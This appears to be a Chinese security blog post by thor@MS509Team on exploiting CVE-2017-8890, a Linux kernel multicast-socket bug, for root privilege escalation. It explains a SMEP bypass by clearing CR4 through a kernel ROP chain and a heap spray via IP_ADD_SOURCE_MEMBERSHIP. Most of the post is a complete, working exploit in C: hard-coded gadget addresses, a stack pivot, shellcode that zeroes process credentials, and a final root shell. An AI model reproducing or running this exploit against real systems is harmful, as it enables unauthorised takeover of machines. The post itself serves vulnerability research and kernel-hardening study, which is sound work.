Author: thor@MS509Team
在上一篇文章利用CVE-2017-8890实现linux内核提权: ret2usr中,我们成功利用ret2usr攻击实现了root提权。但是如果内核开启了SMEP,那么我们的攻击将失效。在本篇文章中,我们将主要介绍SMEP的绕过方法及堆喷的改进方法。
我们在qemu启动命令行中加入选项:
-cpu kvm64,+smep
这将使得linux内核不能直接跳到用户空间执行shellcode。qemu启动后我们查看cpuinfo,可以看到smep已开启:
开启后我们再执行之前的exp:
我们可以看到由于SMEP拦截了用户空间shellode的执行,内核直接崩溃。绕过SMEP目前有几种方法:
1). 内核ROP覆盖CR4寄存器,关闭SMEP
2). 直接内核ROP执行shellcode
3). ret2dir,利用physmap执行shellcode
这里我们使用第一种方法。
我们知道,内核SMEP/SMAP的实现需要底层CPU的支持,而CR4寄存器就是控制SMEP/SMAP开关的寄存器。CR4寄存器是X86 CPU的一个特殊的控制寄存器,控制了CPU很多特性的开启,其布局如下所示:
我们可以看到,CR4寄存器的第20位控制了SMEP的开启,第21位控制了SMAP的开启。因此,只要我们能够将CR4寄存器的第20位清零即可关闭内核的SMEP防护机制。我们从之前的内核崩溃中可以看到,CR4寄存器的值为0x1006f0,第20位为1,表示SMEP开启:
由于我们不能在用户空间执行shellcode,我们只能先通过内核ROP关闭SMEP,再跳转到用户空间的shellcode执行提权。因此,我们在漏洞触发劫持内核EIP后,需要跳转到执行关闭SMEP的ROP gadget。为了执行内核ROP,我们首先用ROPgadget工具dump出内核镜像的所有gadgets,方便查找:
ROPgadget --binary vmlinux > ropgadget
查找覆盖CR4的gadget:
最终选定如下两个gadgets来关闭SMEP:
0xffffffff810efbfd : pop rdi ; ret
0xffffffff810496b4 : mov cr4, rdi ; pop rbp ; ret
首先通过rdi寄存器布置参数,然后执行覆盖cr4寄存器的操作。
上面我们提到需要通过两个内核ROP gadgets来执行关闭SMEP的操作,但是在执行这两个gadgets之前,我们还必须执行stack pivot等操作,构建ROP链来完成目标。首先,ROP的执行需要我们能够在内核堆栈上布置我们控制的数据,但是我们并不能控制内核堆栈,所以必须执行stack pivot,将内核堆栈指向我们控制的空间。我们使用以下gadget:
0xffffffff813b5122: xchg eax, esp ; ret 0x4881
该gadget将eax寄存器和esp寄存器的值交换,而eax寄存器在劫持EIP时正好是可控的,因此可用于stack pivot,如下所示:
可以看到,eax寄存器的值正好是该gadget地址值的前4个字节,因此可以将esp劫持到0x813b5122地址,我们可以在该地址布置我们的ROP链:
执行完ROP链后我们关闭了SMEP,因此就可以跳转到用户空间的shellcode去执行提权代码了,这里的get_root函数地址就是我们在用户空间的提权shellcode。需要注意的是,在执行ROP前需要保存一些重要寄存器环境,在shellcode执行完后要恢复,防止内核处理出现异常。
综上,我们利用内核ROP绕过SMEP的exploit.c如下所示:
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
#include <sys/types.h>
#define SPRAY_SIZE 5000
#define HELLO_WORLD_SERVER_PORT 8088
#define Stack_Pivot_addr 0xffffffff813b5122 // xchg eax, esp ; ret 0x4881
#define Heap_Spray_Addr 0xcdab02ff
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
void *client(void *arg);
void get_root();
int pid=0;
void get_root() {
asm(
"sub $0x18,%rsp;"
"pushq %rcx;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"mov $0xcdab1028,%rax; "
"movq $0xffffffff81077220,(%rax); "
"popq %rsp;"
"sub $0x50, %rsp;"
"retq;"
);
}
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
// cd ab 02 ff
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
void *func_modify(void *arg){
unsigned long fix_addr = Heap_Spray_Addr + 8*5;
unsigned long func = Stack_Pivot_addr;
while(1) {
*(unsigned long *)(fix_addr) = func;
}
}
void exploit(){
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
int server_socket = socket(PF_INET,SOCK_STREAM,0);
if( server_socket < 0){
printf("[Server]Create Socket Failed!");
exit(1);
}
int opt =1;
setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(1);
}
if ( listen(server_socket, 10) ) {
printf("[Server]Server Listen Failed!");
exit(1);
}
pthread_t id_client;
pthread_create(&id_client,NULL,client,NULL);
spray_init();
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
printf ("[Server]accept..... \n");
int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);
if ( new_server_socket < 0){
close(server_socket);
perror("[Server]Server Accept Failed!\n");
return;
}
unsigned long fix_addr = Heap_Spray_Addr & 0xfffffffffffff000;
unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024*100, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
return;
}
addr = (unsigned long *)Heap_Spray_Addr;
unsigned long * addr1 = (unsigned long*)(fix_addr + 0x1000);
unsigned long func = (unsigned long)Stack_Pivot_addr;
addr[0] = (unsigned long)addr1;
addr[1] = 0x0a0a02e0;
addr[2] = 0x00000002;
addr[3] = 0x0;
addr[4] = 0x0;
addr[5] = (unsigned long)func;
addr1[0] = 0x0;
addr1[1] = 0x0a0a02e0;
addr1[2] = 0x00000002;
addr1[3] = 0x0;
addr1[4] = 0x0;
addr1[5] = 0x0;
unsigned long fake_stack_fix = 0x813b5000;
unsigned long* fake_stack_addr = (unsigned long *)mmap((void*)fake_stack_fix, 1024*2048, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (fake_stack_addr == MAP_FAILED){
perror("Failed to mmap: ");
return ;
}
memset(fake_stack_addr,0,1024*2048);
unsigned long fake_rsp = 0x813b5122 ;
*((unsigned long *)fake_rsp) = 0xffffffff8138b055; //push rbp ; pop rcx ; ret 0xe881
unsigned long fake_rsp1 = fake_rsp + 0x4889;
*((unsigned long *)(fake_rsp1)) = 0xffffffff810efbfd; // pop rdi ; ret
fake_rsp1 -= 0x1777;
*( (unsigned long*) (fake_rsp1)) = 0x06f0; // CR4
*( (unsigned long*) (fake_rsp1+ 8) ) = 0xffffffff810496b4; // mov cr4, rdi ; pop rbp ; ret
*( (unsigned long*) (fake_rsp1 + 16) ) = fake_rsp + 0x80;
*( (unsigned long*) (fake_rsp1 + 24)) = (unsigned long)&get_root;
pthread_t id_func;
pthread_create(&id_func,NULL,func_modify,NULL);
printf ("[Server]close new_server_socket \n");
close(new_server_socket);
sleep(5);
heap_spray();
close(server_socket);
printf(" current uid is : %d \n", getuid());
printf(" current euid is : %d \n", geteuid());
system("/bin/sh");
}
void *client(void *arg){
struct sockaddr_in client_addr;
bzero(&client_addr,sizeof(client_addr));
client_addr.sin_family=AF_INET;
client_addr.sin_addr.s_addr=htons(INADDR_ANY);
client_addr.sin_port=htons(0);
int client_socket=socket(AF_INET,SOCK_STREAM,0);
if(client_socket<0){
printf("[Client]Create socket failed!\n");
exit(1);
}
if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
printf("[Client] client bind port failed!\n");
exit(1);
}
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
printf("[Client]Server IP Address error\n");
exit(0);
}
server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT);
socklen_t server_addr_length=sizeof(server_addr);
if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
printf("[Client]cannot connect to 127.0.0.1!\n");
exit(1);
}
printf("[Client]Close client socket\n");
close(client_socket);
return NULL;
}
int main(int argc,char* argv[]) {
printf("pid : %d\n", getpid());
pid = getpid();
exploit();
return 0;
}
编译后运行,成功在开启SMEP防护机制下实现root提权:
在我们两个版本的exp中,堆喷都是漏洞利用的重要前提,如果没有合适的堆喷,那么后续的漏洞利用方法都无法实现。由于我们对内核研究得不够深,对于堆喷我们也一直没有找到合适的方法,所以我们在exp使用了patch kernel的方法,暂时跳过堆喷的阻碍。现在我们再来看看堆喷的其他方法。
我们的堆喷其实要求比较简单:
1)堆喷大小为64字节;
2)至少能够控制堆喷块的前8个字节,且堆喷块中无其他干扰内核执行流程的数据;
我们之前一直试图使用sendmmsg方法来堆喷,发现始终无法控制前8个字节,所以放弃。我们试图从sock_malloc的调用图中找到一个适合的方法,最终发现了一条调用路径:
在函数ip_mc_source中会调用sock_malloc分配空间:
经过调试发现,这里刚好会分配64个字节空间,因此满足堆喷的第一个条件。同时,我们查看堆块的内容发现,堆块除了前8个字节以外的其他内容都为0,基本满足第二个条件:
该方法堆喷的堆块前8个字节固定为0x000000010000000a,我们虽然不能控制这8个字节的内容,但是由于这个值是我们已知的固定值,且该地址是我们能够通过mmap获取到的用户地址空间,因此该堆喷方法是可行的。最终,我们可以将之前exp中的堆喷代码修改为如下方法:
int sockfd[SPRAY_SIZE];
void spray_init() {
struct sockaddr_in server_addr;
struct group_req group;
struct sockaddr_in *psin=NULL;
memset(&server_addr,0,sizeof(server_addr));
memset(&group,0,sizeof(group));
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
setsockopt(sockfd[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
}
}
void heap_spray(){
struct ip_mreq_source mreqsrc;
memset(&mreqsrc,0,sizeof(mreqsrc));
mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
}
}
除了修改堆喷方法之外,还需修改堆喷地址,即:
#define Heap_Spray_Addr 0x000000010000000a
修改好之后我们的exp照样能够成功提权,因此该堆喷方法是可行的。至此,我们成功找到一个不需要patch kernel的堆喷方法,内核中应该还有很多类似的堆喷方法。
本篇文章中,我们利用内核ROP绕过了SMEP防护机制,同时找到了一种可靠的堆喷方法。但是目前为止我们的exp还不能绕过SMAP,因为SMAP将阻止我们的exp从内核访问用户空间的伪造对象。如果使用ret2dir方法应该可以同时绕过SMEP和SMAP,还需后续研究。还有另外一种方法就是在内核空间中伪造ip_mc_socklist
,而不是在用户空间伪造。同时,我们的exp只是在qemu的虚拟环境中测试通过,在实际的linux发行版本未做测试。如果要在Ubuntu等系统上提权,还需要通过gdb调试并修改exp。